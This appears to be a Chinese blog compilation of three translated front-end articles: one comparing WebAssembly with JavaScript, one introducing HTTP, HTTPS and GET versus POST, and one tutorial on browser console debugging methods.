之后Google开发了Portable Native Client,也是一种能让浏览器运行C/C++代码的技术。 后来可能是因为彼此之间有共同的更高追求,Google, Microsoft, Mozilla, Apple等几家大公司一起合作开发了一个面向Web的通用二进制和文本格式的项目,那就是WebAssembly。asm.js 与 WebAssembly 功能基本一致,就是转出来的代码不一样:asm.js 是文本,WebAssembly 是二进制字节码,因此运行速度更快、体积更小。

WebAssembly(又称 wasm) 是一种新的字节码格式,主流浏览器都已经支持 WebAssembly。 和 JS 需要解释执行不同的是,WebAssembly 字节码和底层机器码很相似可快速装载运行,因此性能相对于 JS 解释执行大大提升。 也就是说 WebAssembly 并不是一门编程语言,而是一份字节码标准,需要用高级编程语言编译出字节码放到 WebAssembly 虚拟机中才能运行, 浏览器厂商需要做的就是根据 WebAssembly 规范实现虚拟机。

WebAssembly 加载时间

WebAssembly 在浏览器中加载速度更快,因为只有已经编译好的 wasm 文件需要通过internet传输。wasm 是一种低级汇编语言,具有非常简洁的二进制格式。

WebAssembly 执行速度

如今 Wasm 运行速度只比原生代码慢 20%,这是一个令人惊喜的结果。它是这样的一种格式,会被编译进沙箱环境中且在大量的约束条件下运行以保证没有任何安全漏洞或者使之强化。和真正的原生代码比较,执行速度的下降微乎其微。更重要的是,未来将会更加快速。

更好的是,它与浏览器无关——所有主要引擎都增加了对 WebAssembly的支持,且执行速度相差无几。

为了理解与JavaScript相比WebAssembly的执行速度有多快,应该首先阅读关于JavaScript引擎如何工作的文章。

让我们快速浏览下 V8 的运行机制:

image

在左边,是一些JavaScript源代码,包含JavaScript函数。首先需要解析它,以便将所有字符串转换为标记并生成抽象语法树(AST)。AST 是JavaScript程序逻辑结构在内存中的表示形式。一旦生成了 AST,V8 直接进入到机器码阶段。其后遍历树,生成机器码,就得到了编译好的函数,在这个过程中是没有提高遍历速度的。

现在,让我们看看V8管道在下一阶段的工作:

image

现在有了V8 的新的优化编译器 (TurboFan), 当 JavaScript应用程序在运行时,很多代码都在 V8 中运行。TurboFan 监测是否有代码运行缓慢,是否存在性能瓶颈和热点(内存使用过高的地方),以便对其进行优化。它把以上监视得到的代码推向后端即优化过的即时编译器,该编译器把消耗大量 CPU 资源的函数转换为性能更优的代码。

它解决了性能的问题,但这种处理方式有个缺点,分析代码和决定优化哪些内容的过程也会消耗CPU,这意味着更高的耗电量,特别是在移动设备上。

但是,wasm 并不需要以上的全部步骤-如下所示是它被插入到执行过程示意图:

image

在编译阶段,WebAssembly 不需要被转换,因为它已经是字节码了。总之,以上的解析不在需要,你拥有优化后的二进制代码可以直接插入到后端(即时编译器)并生成机器码。编译器在前端已经完成了所有的代码优化工作。

由于跳过了编译过程中的不少步骤,这使得 wasm 的执行更加高效。

WebAssembly 内存模型

image

例如,编译 成WebAssembly 的c++ 程序的内存是一个连续的内存块,其中没有“漏洞”。wasm 有助于提高安全性的一个特性是执行堆栈与线性内存分离的概念。在 c++ 程序中,如果有一个堆,从堆的底部进行分配,然后从其顶部获得内存来增加内存堆栈的大小。你可以获得一个指针然后在堆栈内存中遍历以操作你不应该接触到的变量。

这是大多数可疑软件可以利用的漏洞。

WebAssembly采用了完全不同的内在模式。执行堆栈与 WebAssembly 程序本身是分开的,因此无法在其中修改和更改诸如变量的值。同样,这些函数使用整数偏移量,而不是指针。函数指向一个间接函数表。之后,这些直接的计算出的数字进入模块中的函数。通过这种方式构建的,可以同时加载多个 wasm 模块,偏移所有索引且每个模块都运行良好。

更多关于 JavaScript 内存模型和管理的文章详见这里

WebAssembly 垃圾收集

在 JavaScript 中,开发者不需要担心内存中无用变量的回收。JS 引擎使用一个叫垃圾回收器的东西来自动进行垃圾回收处理。

现在,WebAssembly 根本不支持垃圾回收。内存是手动管理的(就像 C/C++)。虽然这些可能让开发者编程更困难,但它的确提升了性能。

目前,WebAssembly 是专门围绕 C++ 和 RUST 的使用场景设计的。由于 wasm 是非常底层的语言,这意味着只比汇编语言高一级的编程语言会容易被编译成 WebAssembly。C 语言可以使用 malloc,C++ 可以使用智能指针,Rust 使用完全不同的模式(一个完全不同的话题)。这些语言没有使用内存垃圾回收器,所以他们不需要所有复杂运行时的东西来追踪内存。WebAssembly 自然就很适合于这些语言。

另外,这些语言并不能够 100% 地应用于复杂的 JavaScript 使用场景比如监听 DOM 变化 。用 C++ 来写整个的 HTML 程序是毫无意义的因为 C++ 并不是为此而设计的。大多数情况下,工程师用使用 C++ 或 Rust 来编写 WebGL 或者高度优化的库(比如大量的数学运算)。

然而,将来 WebAssembly 将会支持不带内存垃圾回功能的的语言。

WebAssembly 平台接口访问

依赖于执行 JavaScript 的运行时环境,对特定于平台的api的访问是公开的,可以通过 JavaScript 程序来直接访问这些平台所暴露出的指定接口。例如,如果您在浏览器中运行JavaScript,有一组Web API, Web 应用程序可以调用这些API来控制Web浏览器/设备功能,并访问 DOM、CSSOM、WebGL、IndexedDB、Web Audio API 等等。

然而,WebAssembly 模块不能访问任何平台api。所有的这一切都得由 JavaScript 来进行中转。如果想在 WebAssembly 模块中访问一些特定于平台的api,必须通过JavaScript调用它。

例如,如果想使用 console.log,你必须通过JavaScript调用它,而不是 c++ 代码。而这些 JavaScript 调用会产生一定的性能损失。

情况不会一成不变的。规范将会为在未来为 wasm 提供访问指定平台的接口,这样你就可以不用在你的程序中内置 JavaScript。

从源码转换讲起

JavaScript脚本正变得越来越复杂。大部分源码(尤其是各种函数库和框架)都要经过转换,才能投入生产环境。

常见的源码转换,主要是以下三种情况:

  1. 压缩,减小体积。比如jQuery 1.9的源码,压缩前是252KB,压缩后是32KB。
  2. 多个文件合并,减少HTTP请求数。
  3. 其他语言编译成JavaScript。最常见的例子就是CoffeeScript。

这三种情况,都使得实际运行的代码不同于开发代码,除错(debug)变得困难重重。

通常,JavaScript的解释器会告诉你,第几行第几列代码出错。但是,这对于转换后的代码毫无用处。举例来说,jQuery 1.9压缩后只有3行,每行3万个字符,所有内部变量都改了名字。你看着报错信息,感到毫无头绪,根本不知道它所对应的原始位置。

这就是Source map想要解决的问题。

Source map

简单说,Source map就是一个信息文件,里面储存着位置信息。也就是说,转换后的代码的每一个位置,所对应的转换前的位置。有了它,出错的时候,除错工具将直接显示原始代码,而不是转换后的代码。这无疑给开发者带来了很大方便。

image

由于没有规范定义Source map,所以目前 WebAssembly 并不支持,但最终会有的(可能快了)。当你在 C++ 代码中设置了断点,你将会看到 C++ 代码而不是 WebAssembly。至少,这是 WebAssembly 源码映射的目标。

多线程

JavaScript 是单线程的。有一些方法可以利用事件循环并利用异步编程,这个之前在 JavaScript是如何工作的:事件循环和异步编程的崛起+ 5种使用 async/await 更好地编码方式 已经讲过了。

JavaScript 也使用 Web Workers 但是只有在极其特殊的情况下-大体上,可以把任何可能阻塞 UI 主线程的密集的 CPU 计算移交给 Web Worker 执行以获得更好的性能。但是,Web Worker 不能够访问 DOM。

目前 WebAssembly 不支持多线程。但是,这有可能是接下来 WebAssembly 要实现的。Wasm 将会接近实现原生的线程(比如,C++ 风格的线程)。拥有真正的线程将会在浏览器中创造出很多新的机遇。并且当然,会增加滥用的可能性。

可移植性

现在JavaScript几乎可以在任何地方运行,从浏览器到服务器端,甚至在嵌入式系统中。

WebAssembly的设计宗旨是安全、便携。就像JavaScript。它将运行在每个支持 wasm 的环境中(例如,每个浏览器)。

WebAssembly 拥有和早年 Java 使用 Applets 来实现可移植性的同样的目标。

WebAssembly 使用场景

WebAssembly 的最初版本主要是为了解决大量计算密集型的计算的(比如处理数学问题)。最为主流的应用场景就是游戏——处理大量的像素。你可以使用你熟悉的 OpenGL 绑定来编写 C++/Rust 程序,然后编译成 wasm。之后,它就可以在浏览器中运行。

在浏览器中

  • 更好的让一些语言和工具可以编译到 Web 平台运行。
  • 图片/视频编辑。
  • 游戏:
  • 需要快速打开的小游戏
  • AAA 级,资源量很大的游戏。
  • 游戏门户(代理/原创游戏平台)
  • P2P 应用(游戏,实时合作编辑)
  • 音乐播放器(流媒体,缓存)
  • 图像识别
  • 视频直播
  • VR 和虚拟现实
  • CAD 软件
  • 科学可视化和仿真
  • 互动教育软件和新闻文章。
  • 模拟/仿真平台(ARC, DOSBox, QEMU, MAME, …)。
  • 语言编译器/虚拟机。
  • POSIX用户空间环境,允许移植现有的POSIX应用程序。
  • 开发者工具(编辑器,编译器,调试器...)
  • 远程桌面。
  • VPN。
  • 加密工具。
  • 本地 Web 服务器。
  • 使用 NPAPI 分发的插件,但受限于 Web 安全协议,可以使用 Web APIs。
  • 企业软件功能性客户端(比如:数据库)

脱离浏览器

  • 游戏分发服务(便携、安全)。
  • 服务端执行不可信任的代码。
  • 服务端应用。
  • 移动混合原生应用。
  • 多节点对称计算

原文:https://blog.sessionstack.com/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it-d80945172d79

编辑中可能存在的bug没法实时知道,事后为了解决这些bug,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

Web 应用安全性: HTTP简介

HTTP是一个美好的东西:一个存在了20多年而没有太多变化的协议。

正如我们在前一篇文章中看到的,浏览器通过HTTP协议与web应用程序交互,这是我们深入研究这个主题的主要原因。如果用户在网站上输入他们的信用卡信息,攻击者就能在数据到达服务器之前拦截数据,我们肯定会有麻烦。

了解HTTP是如何工作的,我们如何保护客户端和服务器之间的通信,以及该协议提供了哪些与安全相关的特性,这是改进安全状态的第一步。

但是,在讨论HTTP时,我们应该始终区分语义和技术实现,因为它们是HTTP工作方式的两个非常不同的方面。

两者之间的关键区别可以用一个非常简单的类比来解释:20年前,人们像现在一样关心他们的亲人,尽管他们互动的方式已经发生了巨大的变化。我们的父母可能会开着车去他们姐姐家,这样就能赶上和家人在一起。

相反,现在更常见的是在 WhatsApp 上留言、打电话或使用 Facebook 群组,这在以前是不可能的。这并不是说人们或多或少地交流或关心,而是说他们交流的方式改变了。

HTTP 也不例外:协议背后的语义没有太大的变化,而客户端和服务器之间通信的技术实现已经经过多年的优化。如果您查看 1996 年的 HTTP 请求,它看起来与我们在前一篇文章中看到的请求非常相似,尽管这些数据包通过网络的方式非常不同。

概述

如前所述,HTTP遵循请求/响应模型,其中连接到服务器的客户端发出请求,服务器对其进行响应。

HTTP消息(请求或响应)包含多个部分:

  • 请求行

  • 请求头

  • 请求体

第一部分:请求行,用来说明请求类型,要访问的资源以及所使用的HTTP版本。

GET /players/lebron-james HTTP/1.1

GET说明请求类型为 GET,/players/lebron-james 为要访问的资源,该行的最后一部分说明使用的是 HTTP1.1 版本。

第二部分:请求头部,紧接着请求行(即第一行)之后的部分,用来说明服务器要使用的附加信。:

GET /players/lebron-james HTTP/1.1
Host: nba.com
Accept: */*
Coolness: 9000

例如,在此请求中,客户端已为请求附加了3个附加标头:HostAcceptCoolness

等一下,Coolness 是什么

报头不必使用特定的保留名称,但通常建议依赖于 HTTP 规范标准化的名称:越偏离标准,交换中的另一方就越不理解你。

例如,Cache-Control 是一个头文件,用于定义响应是否是可缓存的:大多数代理和反向代理都完全按照 HTTP 规范来理解它。如果将 Cache-Control 头重命名为 Awesome-Cache-Control,代理将不再知道如何缓存响应,因为它们不是按照你刚刚提出的规范构建的。

但有时候,在消息中包含“自定义”标题可能是有意义的,因为你可能希望添加实际上不属于 HTTP 规范的元数据:服务器可以决定在其响应中包含技术信息,以便客户端可以同时执行请求并获取有关回复的服务器状态的重要信息:

...
X-Cpu-Usage: 40%
X-Memory-Available: 1%
...

使用自定义标头时,始终首选为它们添加一个键,以便它们不会与将来可能成为标准的其他标头冲突:从历史上看,这一直很有效,直到每个人都开始使用“非标准” X 前缀 反过来,这成为常态。 X-Forwarded-ForX-Forwarded-Proto标 头是负载平衡器和代理广泛使用和理解的自定义标头的示例,即使它们不是 HTTP 标准的一部分。

如果你需要添加自己的自定义头,那么现在通常最好使用一个自动生成的前缀,例如 Acme-Custom-Header 头或 A-Custom-Header 头。

在标题之后,一个请求可能包含一个主体,它与标题之间用空行隔开:

POST /players/lebron-james/comments HTTP/1.1
Host: nba.com
Accept: */*
Coolness: 9000

Best Player Ever

我们的请求完成了:第一行(位置和协议信息)、请求头和请求体。注意,请求体是完全可选的,在大多数情况下,它只在我们想要向服务器发送数据时使用——这就是上面的示例使用 POST 的原因。

响应没有太大的不同:

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: private, max-age=3600

{"name": "Lebron James", "birthplace": "Akron, Ohio", ...}

响应发布的第一个信息是它使用的协议版本以及该响应的状态。请求头也一样,如果需要的话,在正文后面加一个换行符。

如前所述,该协议经过了多次修订,并随着时间的推移添加了一些特性(新的头文件、状态代码等),但是底层结构并没有太大的变化(请求行、请求头和正文)。真正改变的是客户端和服务器如何交换这些消息——让我们更仔细地研究一下。

HTTP vs HTTPS vs H2

HTTP 已经经历了 2 个相当大的语义变化: HTTP/1.0 和 HTTP/1.1。

那,“HTTPS 和 HTTP2 在哪里?”

HTTPS 和 HTTP2 (缩写为 H2)是更多的技术更改,因为它们引入了在互联网上传递消息的新方法,而不会严重影响协议的语义。

HTTPS 是 HTTP的一种“安全”扩展,它涉及在客户机和服务器之间建立一个公共秘密,确保我们与正确的一方进行通信,并对与公共秘密交换的消息进行加密(稍后将对此进行详细介绍)。HTTPS 的目标是提高HTTP 协议的安全性,而 H2 的目标是为其带来更快的速度。

H2 使用二进制而不是纯文本消息,支持多路复用,使用 HPACK 算法压缩报头……长话短说,H2 是对HTTP/1.1 的性能提升。

网站所有者不愿意切换到 HTTPS,因为它涉及客户端和服务器之间的额外往返(如上所述,需要在两方之间建立共同的秘密),从而减慢用户体验:使用 H2 加密 默认情况下,他们就没有借口了,因为多路复用和服务器推送等功能使其 性能优于普通的 HTTP/1.1

HTTPS

HTTPS (HTTP Secure)的目标是让客户端和服务器通过 TLS(传输层安全性)安全地进行通信,TLS 是SSL(安全套接字层)的继承者。

TLS 所针对的问题相当简单,可以用一个简单的比喻:你的另一半中午打电话给你,当你在一个会议上,并询问你告诉他们你的网上银行账户的密码,因为他们需要执行一个银行转账,以确保你儿子的教育费用按时支付。重要的是你现在就告诉他们,否则第二天早上你的孩子可能会被学校拒之门外。

你们现在面临着两个挑战:

  • 身份验证: 确保你真的在和你的另一半说话,因为有可能别人会假装他们

  • 加密: 在同事无法理解和记录下密码的情况下进行通信

这正是 HTTPS 试图解决的问题。

为了验证你正在与谁交谈,HTTPS 使用公钥证书,这只是声明特定服务器背后身份的证书:当你通过 HTTPS 连接到 IP 地址时,该地址背后的服务器将向你提供其证书,以验证其身份。回到我们的类比,这可能只是你让你的另一半拼写他们的社会保险号。一旦验证了数字的正确性,你就获得了额外的信任级别。

但是,这并不能阻止“攻击者”学习受害者的社会安全号码,偷走你伴侣的智能手机并给你打电话。 我们如何验证来电者的身份?

你不是直接让你的另一半拼他们的社会保险号,而是打电话给你的妈妈(她正好住在你隔壁),让她去你的公寓,确保你的另一半拼的是他们的社会保险号。这增加了额外的信任级别,因为你不认为你的母亲是一个威胁,并依赖她来验证调用者的身份。

在 HTTPS 术语中,你的妈妈称为 CA,证书颁发机构 (Certificate Authority)的简称:CA 的工作是验证特定服务器后面的身份,并颁发具有自己的数字签名的证书:这意味着,当我连接到特定域时,我不会出示由域所有者生成的证书(称为自签名证书),而是由 CA 颁发。

权威机构的职责是确保他们验证域名后面的身份并相应地颁发证书:当你“订购”证书时(通常称为 SSL 证书,即使现在使用 TLS 代替 ), 当局可能会给人打电话或要求你更改 DNS 设置,以验证你是否可以控制相关域。 验证过程完成后,它将颁发证书,然后你可以在 Web 服务器上安装该证书。

像浏览器这样的客户端将连接到您的服务器并获得此证书,以便他们可以验证它看起来是真实的:浏览器与CA有某种“关系”,因为它们跟踪可信CA的列表。 为了验证证书是否真的值得信赖。 如果证书未由受信任的机构签名,则浏览器将向用户显示一条信息量大的警告:

image

确保你和你的另一半之间的通信安全已经完成了一半:现在我们已经解决了身份验证(验证调用者的身份),我们需要确保我们可以安全地通信,而不会在此过程中被其他人窃听。正如我提到的,你正在开会,需要拼写你的网上银行密码。你需要找到一种方法来加密你的交流,这样只有你和你的伴侣才能理解你的谈话。

您可以通过在双方之间建立共享密钥来实现此目的,并通过该密钥加密消息:例如,你可以根据婚礼日期决定使用 Caesar cipher 的变体。

image

如果双方都有一段稳定的关系,就像你和你的灵魂伴侣一样,这将会很有效,因为他们可以在别人不知道的共同记忆的基础上创造一个密钥。但是,浏览器和服务器不能使用相同的机制,因为它们事先不了解彼此。

取而代之的是 Diffie-Hellman 密钥交换协议的变体,它确保没有预先知道的各方建立共享的密钥,而其他人无法“嗅探”它。这需要用到一点数学知识,这是留给读者的一个练习。

image

一旦密钥建立起来,客户端和服务器就可以进行通信,而不必担心有人会截获它们的消息。即使攻击者这样做,他们也没有解密消息所需的公共密钥。

HTTPS无处不在

还在争论你是否应该在你的网站上支持HTTPS? 我没有好消息:浏览器已经开始推动用户远离不支持HTTPS 的网站,以“强迫”网络开发者提供完全加密的浏览体验。

“HTTPS无处不在” 的口号背后,浏览器开始反对未加密的连接——谷歌是第一个给网络开发者最后期限的浏览器供应商,它宣布从 Chrome 68(2018年7月) 开始将把HTTP网站标记为“不安全”:

image

对于不使用HTTPS的网站来说,更令人担忧的是,一旦用户在网页上输入任何内容,“不安全”标签就会变成红色——这一举动应该会鼓励用户在与不支持HTTPS的网站交换数据之前三思而后行。

image

将此与在HTTPS上运行并配备有效证书的网站的外观进行比较:

image

从理论上讲,网站不一定是安全的,但在实践中,这会吓跑用户 - 这是理所当然的。 当 H2 还没普遍时,坚持使用未加密的纯HTTP通信是有意义的,如今几乎没有理由这样做。

GET 和 POST

正如我们前面看到的,HTTP请求以一个特殊的请求行开始:

首先,客户端告诉服务器它正在使用什么动词来执行请求:常见的 HTTP 动词包括 GETPOSTPUTDELETE,但列表可以继续使用不常见(但仍然是标准的)动词,如 TRACEOPTIONS,或 HEAD

理论上,没有一种方法比其他方法更安全;实际上,事情并没有那么简单。

GET 请求通常不带主体,因此参数包含在 URL 中(如 www.example.com/articles?article_id=1),而 POST 请求通常用于发送(“post”)包含在内的数据。

另一个区别在于这些动词带有的副作用:GET 是一个幂等动词,意思是无论你要发送多少个请求,你都不会改变网络服务器的状态。 相反,POST 不是幂等的:对于你发送的每个请求,你可能正在更改服务器的状态(例如,考虑发布新的付款 - 现在您可能理解为什么站点要求你在执行时不刷新页面 交易)。

幂等性:指一次和多次请求某一个资源应该具有同样的副作用,也就是一次访问与多次访问,对这个资源带来的变化是相同的。

为了说明这些方法之间的一个重要区别,我们需要看一看 web 服务器的日志,这些日志你可能已经很熟悉了:

192.168.99.1 - [192.168.99.1] - - [29/Jul/2018:00:39:47 +0000] "GET /?token=1234 HTTP/1.1" 200 525 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" 404 0.002 [example-local] 172.17.0.8:9090 525 0.002 200
192.168.99.1 - [192.168.99.1] - - [29/Jul/2018:00:40:47 +0000] "GET / HTTP/1.1" 200 525 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" 393 0.004 [example-local] 172.17.0.8:9090 525 0.004 200
192.168.99.1 - [192.168.99.1] - - [29/Jul/2018:00:41:34 +0000] "PUT /users HTTP/1.1" 201 23 "http://example.local/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" 4878 0.016 [example-local] 172.17.0.8:9090 23 0.016 201

如你所见,web服务器记录请求路径:这意味着,如果你在 URL 中包含敏感数据,那么它将被 web 服务器泄露并保存在你的日志中的某个位置—你的密钥将以明文的形式出现,这是我们绝对需要避免的。假设攻击者能够访问你的一个旧日志文件,该文件可能包含信用卡信息、私有服务的访问令牌等等:这将是一场彻底的灾难。

Web 服务器不记 录HTTP标头或主体,因为要保存的数据太大 - 这就是为什么通过请求主体而不是URL发送信息通常更安全。 从这里我们可以得出 POST(和类似的,非幂等方法)比 GET 更安全,即使更多的是使用特定动词时数据的发送方式而不是特定动词本身比其他动词更安全:如果你 将敏感信息包含在 GET 请求的主体中,然后你不会遇到比使用 POST 时更多的问题,即使这种方法被认为是不寻常的。

我们信任 HTTP 报头

在本文中,我们研究了HTTP,它的演变以及它的安全扩展如何集成身份验证和加密,以使客户端和服务器通过安全通道进行通信:这不是所有 HTTP 在安全性方面提供的。

正如我们将在下一篇文章中看到的,HTTP安全头文件提供了一种改进应用程序安全状态的方法,下一篇文章将致力于理解如何利用它们。

原文:https://medium.freecodecamp.org/web-security-an-introduction-to-http-5fa07140f9b3

你的点赞是我持续分享好东西的动力,欢迎点赞!

image

灵活使用 console 让 js 调试更简单

Web开发最常用的高度就是 console.log ,虽然 console.log 占有一席之地,但很多人并没有意识到 console 本身除了基本 log 方法之外还有很多其他方法。 适当使用这些方法可以使调试更容易,更快速,更直观。

console.log()

console.log 中有很多人们意想不到的功能。虽然大多数人使用 console.log(object) 来查看对象,但是你也可以使用 console.log(object, otherObject, string),它会把它们都整齐地记录下来,偶尔也会很方便。

不仅如此,还有另一种格式化的: console.log(msg, values),这很像 C 或 PHP 中的sprintf

console.log('I like %s but I do not like %s.', 'Skittles', 'pus');

会像你预期的那样输出:

> I like Skittles but I do not like pus.

常见的占位符 %o (这是字母o,不是0),它接受对象,%s 接受字符串,%d 表示小数或整数。

图片描述

另一个有趣的是 %c,这可能与你所想不太相同,它实际上是CSS值的占位符。使用%c占位符时,对应的后面的参数必须是CSS语句,用来对输出内容进行CSS渲染。常见的输出方式有两种:文字样式、图片输出

console.log('I am a %cbutton', 'color: white; background-color: orange; padding: 2px 5px; border-radius: 2px');

clipboard.png

它并不优雅,也不是特别有用。当然,这并不是一个真正的按钮。

clipboard.png

它有用吗? 恩恩恩。

console.dir()

在大多数情况下,console.dir() 的函数非常类似于 log(),尽管它看起来略有不同。

clipboard.png

下拉小箭头将显示与上面相同的对象详细信息,这也可以从console.log 版本中看到。当你查看元素的结构时候,你会发现它们之间的差异更大,也更有趣。

let element = document.getElementById('2x-container');

使用 console.log 查看:

clipboard.png

打开了一些元素,这清楚地显示了 DOM,我们可以在其中导航。但是console.dir(element)给出了更加方便查看 DOM 结构的输出:

这是一种更客观地看待元素的方式。有时候,这可能是您真正想要的,更像是检查元素。

clipboard.png

console.warn()

可能是最明显的直接替换 log(),你可以以完全相同的方式使用 console.warn()。 唯一真正的区别是输出字的颜色是黄色的。 具体来说,输出处于警告级别而不是信息级别,因此浏览器将稍微区别对待它。 这具有使其在杂乱输出中更明显的效果。

clipboard.png

不过,还有一个更大的优势,因为输出是警告而不是信息,所以你可以过滤掉所有console.log并仅保留console.warn。 这对于偶尔会在浏览器中输出大量无用废话的应用程序尤其有用。 清除一些无用的信息可以让你更轻松地看到你想要的输出。

console.table()

令人惊讶的是,这并不是更为人所知,但是 console.table() 函数旨在以一种比仅仅转出原始对象数组更整洁的方式显示表格数据。

例如,这里有一个数据列表。

const data = [{
  id: "7cb1-e041b126-f3b8",
  seller: "WAL0412",
  buyer: "WAL3023",
  price: 203450,
  time: 1539688433
},
{
  id: "1d4c-31f8f14b-1571",
  seller: "WAL0452",
  buyer: "WAL3023",
  price: 348299,
  time: 1539688433
},
{
  id: "b12c-b3adf58f-809f",
  seller: "WAL0012",
  buyer: "WAL2025",
  price: 59240,
  time: 1539688433
}];

如果我们使用 console.log 来输出上面的内容,我们会得到一些非常无用的输出:

▶ (3) [{…}, {…}, {…}]

点击这个小箭头可以展开看到对象的内容,但是,它并不是我们想要的“一目了然”。

但是 console.table(data) 的输出要有用得多。

clipboard.png

第二个可选参数是所需列的列表。显然,所有列都是默认值,但我们也可以这样做:

> console.table(data, ["id", "price"]);

clipboard.png

这里要注意的是这是乱序的 - 最右边的列标题上的箭头显示了原因。 我点击该列进行排序。 找到列的最大或最小,或者只是对数据进行不同的查看非常方便。 顺便说一句,该功能与仅显示一些列无关,它总是可用的。

console.table() 只能处理最多1000行,因此它可能不适合所有数据集。

console.assert()

assert()log() 是相同的函数,assert()是对输入的表达式进行断言,只有表达式为false时,才输出相应的信息到控制台,示例如下:

var arr = [1, 2, 3];
console.assert(arr.length === 4);

clipboard.png

有时我们需要更复杂的条件句。例如,我们已经看到了用户 WAL0412 的数据问题,并希望仅显示来自这些数据的事务,这是直观的解决方案。

console.assert(tx.buyer === 'WAL0412', tx);

这看起来不错,但行不通。记住,条件必须为false,断言才会执行,更改如下:

console.assert(tx.buyer !== 'WAL0412', tx);

与其中一些类似,console.assert() 并不总是特别有用。但在特定的情况下,它可能是一个优雅的解决方案。

console.count()

另一个具有特殊用途的计数器,count只是作为一个计数器,或者作为一个命名计数器,可以统计代码被执行的次数。

for(let i = 0; i < 10000; i++) {
  if(i % 2) {
    console.count('odds');
  }
  if(!(i % 5)) {
    console.count('multiplesOfFive');
  }
  if(isPrime(i)) {
    console.count('prime');
  }
}

这不是有用的代码,而且有点抽象。这边也不打算演示 isPrime 函数,假设它是成立的。

执行后我们会得到一个列表:

odds: 1
odds: 2
prime: 1
odds: 3
multiplesOfFive: 1
prime: 2
odds: 4
prime: 3
odds: 5
multiplesOfFive: 2
...

还有一个相关的 console.countReset(),可以使用它重置计数器。

console.trace()

trace() 在简单的数据中很难演示。当您试图在类或库中找出是哪个实际调用者导致了这个问题时,它的优势就显现出来了。

例如,可能有 12 个不同的组件调用一个服务,但是其中一个组件没有正确地设置依赖项。

export default class CupcakeService {
    
  constructor(dataLib) {
    this.dataLib = dataLib;
    if(typeof dataLib !== 'object') {
      console.log(dataLib);
      console.trace();
    }
  }
  ...
}

这里使用 console.log() 仅告诉我们传递数据dataLib是什么 ,而没有具体的传递的路径。不过,console.trace() 会非常清楚地告诉我们问题出在 Dashboard.js,我们可以看到是 new CupcakeService(false) 导致错误。

console.time()

console.time() 是一个用于跟踪操作时间的专用函数,它是跟踪 JavaScript执行时间的好方法。

function slowFunction(number) {
  var functionTimerStart = new Date().getTime();
  // something slow or complex with the numbers. 
  // Factorials, or whatever.
  var functionTime = new Date().getTime() - functionTimerStart;
  console.log(`Function time: ${ functionTime }`);
}
var start = new Date().getTime();

for (i = 0; i < 100000; ++i) {
  slowFunction(i);
}

var time = new Date().getTime() - start;
console.log(`Execution time: ${ time }`);

这是一种老派的做法,我们使用 console.time() 来简化以上代码。

const slowFunction = number =>  {
  console.time('slowFunction');
  // something slow or complex with the numbers. 
  // Factorials, or whatever.
  console.timeEnd('slowFunction');
}
console.time();

for (i = 0; i < 100000; ++i) {
  slowFunction(i);
}
console.timeEnd();

我们现在不再需要做任何计算或设置临时变量。

console.group()

// this is the global scope
let number = 1;
console.group('OutsideLoop');
console.log(number);
console.group('Loop');
for (let i = 0; i < 5; i++) {
  number = i + number;
  console.log(number);
}
console.groupEnd();
console.log(number);
console.groupEnd();
console.log('All done now');

输出如下:

clipboard.png

并不是很有用,但是您可以看到其中一些是如何组合的。

class MyClass {
  constructor(dataAccess) {
    console.group('Constructor');
    console.log('Constructor executed');
    console.assert(typeof dataAccess === 'object', 
      'Potentially incorrect dataAccess object');
    this.initializeEvents();
    console.groupEnd();
  }
  initializeEvents() {
    console.group('events');
    console.log('Initialising events');
    console.groupEnd();
  }
}
let myClass = new MyClass(false);

clipboard.png 多调试信息的代码,可能不是那么有用。 但它仍然是一个有趣的想法,这样写使你的日志记录更加清晰。

选择DOM元素

如果熟悉jQuery,就会知道 $('.class') 和 $('#id')选择器有多么重要。它们根据与之关联的类或 ID 选择 DOM 元素。

但是当你没有引用 jQuery时,你仍然可以在谷歌开发控制台中进行同样的操作。

$('tagName') $('.class') $('#id') and $('.class #id') 等效于document.querySelector(''),这将返回 DOM 中与选择器匹配的第一个元素。

可以使用 $$(tagName) 或 $$(.class), 注意双元符号,根据特定的选择器选择DOM的所有元素。这也将它们放入数组中,你也可以通过指定数组中该元素的位置来从中选择特定的元素。

例如,$$('.className') 获取具有类 className 的所有元素,而\$\$(.className')[0]$$('.className')[1]获取到分别是第一个和第二个元素。

clipboard.png

将浏览器转换为编辑器

你有多少次想知道你是否可以在浏览器中编辑一些文本? 答案是肯定的,你可以将浏览器转换为文本编辑器。 你可以在 DOM 中的任何位置添加文本和从中删除文本。

你不再需要检查元素并编辑HTML。相反,进入开发人员控制台并输入以下内容:

document.body.contentEditable=true 

这将使内容可编辑。现在,你几乎可以编辑DOM中的任何内容。

查找与DOM中的元素关联的事件

调试时,需要查找 DOM 中某个元素的事件侦听器感时,谷歌控制台了 getEventListeners使找到这些事件更加容易且直观。

getEventListeners($(‘selector’)) 返回一个对象数组,其中包含绑定到该元素的所有事件。你可以展开对象来查看事件:

clipboard.png

要找到特定事件的侦听器,可以这样做:

getEventListeners($(‘selector’)).eventName[0].listener 

这将显示与特定事件关联的侦听器。这里 eventName[0] 是一个数组,它列出了特定事件的所有事件。例如:

getEventListeners($(‘firstName’)).click[0].listener 

将显示与 ID 为 ‘firstName’ 的元素的单击事件关联的侦听器。

监控事件

如果希望在执行绑定到 DOM 中特定元素的事件时监视它们,也可以在控制台中这样做。你可以使用不同的命令来监控其中的一些或所有事件:

如果希望在执行绑定到DOM中特定元素的事件时监视它们,也可以在控制台中这样做。你可以使用不同的命令来监控其中的一些或所有事件:

  • monitorEvents($(‘selector’)) 将监视与选择器的元素关联的所有事件,然后在它们被触发时将它们打印到控制台。例如,monitore($(#firstName)) 将打印 IDfirstName元素的所有事件。

